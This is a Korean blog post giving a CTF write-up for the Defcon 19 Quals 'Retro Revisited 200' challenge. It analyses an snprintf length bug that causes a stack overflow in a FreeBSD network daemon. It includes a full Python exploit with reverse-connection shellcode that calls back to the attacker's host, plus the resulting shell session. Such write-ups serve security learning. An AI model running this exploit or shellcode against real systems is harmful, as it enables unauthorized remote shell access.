Defcon 19th CTF Quals - Retro Revisted 200

2011. 9. 25. 12:20·CTF

Category : Pwnables

* file

Summary : simple remote buffer overflow 

 
Binary Info.

[pwn3r@localhost rr200]$ file rr200
rr200: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), stripped

main함수에서는 daemonize를 시킨뒤 접속하는 client에게 client_callback함수를 실행시켜준다.(함수명은 임의로 지칭한것이다.)
우선 서버에 접속해본다.

[pwn3r@localhost rr200]$ nc 192.168.123.134 9999
Hans Brix? Oh no! Oh, herro. Great to see you again, Hans! pwn3r
Hans Brix says: "pwn3r
"

문자열을 client에게 전송하고 client로부터 문자열을 전송받아 , 받은 문자열을 전송해주고 연결이 종료된다.

.text:080489B4 ; int __cdecl client_callback(int fd)
.text:080489B4 client_callback proc near               ; DATA XREF: main+28o
.text:080489B4
.text:080489B4 buf             = byte ptr -208h
.text:080489B4 s               = byte ptr -108h
.text:080489B4 fd              = dword ptr  8
.text:080489B4
.text:080489B4                 push    ebp
.text:080489B5                 mov     ebp, esp
.text:080489B7                 push    esi
.text:080489B8                 push    ebx
.text:080489B9                 sub     esp, 0x204
.text:080489BF                 mov     esi, [ebp+fd]
.text:080489C2                 push    0               ; __int16
.text:080489C4                 push    offset aHansBrix?OhNoO ; "Hans Brix? Oh no! Oh, herro. Great to s"...
.text:080489C9                 push    esi             ; fd
.text:080489CA                 call    sock_send
.text:080489CF                 add     esp, 0x10
.text:080489D2                 mov     edx, 0x0FFFFFFFF
.text:080489D7                 cmp     eax, 0x0FFFFFFFF
.text:080489DA                 jz      short loc_8048A18
.text:080489DC                 push    0x0               ; flags
.text:080489DE                 push    0x100            ; n
.text:080489E3                 lea     ebx, [ebp+buf]
.text:080489E9                 push    ebx             ; buf
.text:080489EA                 push    esi             ; fd
.text:080489EB                 call    _recv
.text:080489F0                 push    ebx
.text:080489F1                 push    offset format   ; "Hans Brix says: \"%s\"\n"
.text:080489F6                 push    0x12C            ; maxlen
.text:080489FB                 lea     ebx, [ebp+s]
.text:08048A01                 push    ebx             ; s
.text:08048A02                 call    _snprintf

.text:08048A07                 add     esp, 0x1C
.text:08048A0A                 push    0               ; __int16
.text:08048A0C                 push    ebx             ; int
.text:08048A0D                 push    esi             ; fd
.text:08048A0E                 call    sock_send
.text:08048A13                 mov     edx, 0
.text:08048A18
.text:08048A18 loc_8048A18:                            ; CODE XREF: client_callback+26j
.text:08048A18                 mov     eax, edx
.text:08048A1A                 lea     esp, [ebp-8]
.text:08048A1D                 pop     ebx
.text:08048A1E                 pop     esi
.text:08048A1F                 leave
.text:08048A20                 retn

client_callback함수에선 문자열하나를 보내준후 0x100byte의 변수(buf)에 사이즈만큼 recv한다.
그 다음 0x108바이트의 변수(s)에 "Hans Brix says: \"%s\"" 와 buf에있는 데이터를 인자로 snprintf를 수행하는데 , 이때 maxlen이 s의 사이즈보다큰 0x12C이기때문에 buffer overflow취약점이 발생한다.

buf에 저장될 수 있는 데이터는 최대 0x100이지만 앞에 "Hans Brix says: \""(17byte)가 있기때문에 17byte만큼 뒤에있는 데이터를 덮을 수 있다. 따라서 stack에 저장되어있는 return address도 조작할 수 있게된다.

환경은 freebsd이고 socket을 이용한 통신을 하기때문에 reverse connection shellcode를 이용한다.

exploit.py

#!/usr/bin/python

from socket import *

def pack(data):
 res = ""
 for i in range(0,4):
  res = res + chr(data % 0x100)
  data = data / 0x100
 return res

HOST = "192.168.123.134"
PORT = 9999
SHELLCODE = \
"\x68\xc0\xa8\x7b\x83\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0" + \
"\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50" + \
"\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8" + \
"\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" + \
"\x50\x54\x53\x50\xb0\x3b\xcd\x80"

for ret in range(0xbfbfffff , 0xbfbf0000 , -50):
 ret = pack(ret)
 if not "\x00" in ret:
  payload = ""
  payload += "\x90"*100
  payload += SHELLCODE
  payload += "\x90"*(0x10c-17-len(payload))
  payload += ret
  s = socket(AF_INET , SOCK_STREAM)
  s.connect((HOST , PORT))
  s.recv(1024)
  s.send(payload)
  s.recv(1024)
  s.close()



[pwn3r@localhost rr200]$ ./exploit.py & nc -lv 4444
[1] 1434
Connection from 192.168.123.134 port 4444 [tcp/krb524] accepted
id
uid=1002(kimjong) gid=1002(kimjong) groups=1002(kimjong)
ls -l
total 12
-rwxr-xr-x  1 kimjong  kimjong  5512 Sep 14 05:35 rr200

pwned :)

'CTF' 카테고리의 다른 글

CSAW CTF Quals 2011 - bin3  (0) 2011.09.27
CSAW CTF Quals 2011 - bin1  (0) 2011.09.27
Defcon 19th CTF Quals - Retro Revisted 300  (0) 2011.09.23
ISEC 2011 본선 CTF - board  (0) 2011.09.21
ISEC 2010 본선 CTF - hks  (0) 2011.09.17
'CTF' 카테고리의 다른 글
  • CSAW CTF Quals 2011 - bin3
  • CSAW CTF Quals 2011 - bin1
  • Defcon 19th CTF Quals - Retro Revisted 300
  • ISEC 2011 본선 CTF - board
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    HUST
    HUST2011
    POC
    정보보호올림피아드
    gnuboard
    csaw ctf
    csaw
    vuln
    power of community
    web
    pwnables
    후기
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Defcon 19th CTF Quals - Retro Revisted 200
상단으로

티스토리툴바